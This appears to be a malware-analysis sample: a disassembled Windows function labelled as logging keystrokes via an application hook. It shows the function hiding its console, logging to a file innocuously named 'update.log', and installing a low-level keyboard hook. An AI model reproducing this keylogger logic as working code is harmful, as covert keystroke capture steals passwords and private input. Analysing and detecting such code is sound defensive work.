Function at 0x140001fa0
Capabilities:
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xa0
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rsp + 0x90], rax
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov ecx, 0x2004
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x14000201d
nop
lea rdx, str.System_is_still_booting_up._Waiting_10_seconds_to_check_again..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ba0
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x2004
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x140001ff0
lea rdx, str.Logging_output_to
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003ba0
mov rcx, rax
lea rdx, str.update.log
call fcn.140003ba0
mov rcx, rax
lea rdx, [0x140003f50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x14000b148], 0
jne 0x14000219a
mov edx, 0xa
mov r8d, 0x40
lea rcx, str.update.log
call qword [sym.imp.MSVCP140.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_char_const____ptr64__int__int_]
mov rbx, rax
test rax, rax
je 0x14000219a
mov byte [0x14000b144], 1
mov byte [0x14000b139], 0
lea rcx, [0x14000b0c8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
xor edi, edi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_stream_buffer_pointers]
mov r9, qword [rsp + 0x40]
mov qword [rsp + 0x30], r9
mov r8, qword [rsp + 0x48]
mov qword [rsp + 0x28], r8
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rdx
lea rcx, [0x14000b0c8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64__char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64____ptr64]
mov qword [0x14000b148], rbx
mov rax, qword [0x14000bce8]
mov qword [0x14000b13c], rax
mov qword [0x14000b130], rdi
lea rdx, [rsp + 0x50]
lea rcx, [0x14000b0c8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void____ptr64]
nop
mov rcx, rax
call fcn.140003f90
mov rbx, rax
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::codecvt_base::always_noconv_void_const___ptr64]
test al, al
je 0x140002140
mov qword [0x14000b130], rdi
jmp 0x140002155
mov qword [0x14000b130], rbx
lea rcx, [0x14000b0c8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140002178
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140002178
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [0x14000b0c0]
movsxd rcx, dword [rax + 4]
lea rax, [0x14000b0c0]
add rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x1400021bd
mov rax, qword [0x14000b0c0]
movsxd rcx, dword [rax + 4]
lea rax, [0x14000b0c0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140001970]
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x14000bbb0], rax
test rax, rax
jne 0x140002200
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed_to_install_hook_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop dword [rax]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140002200
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.140004bf0
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rdi
ret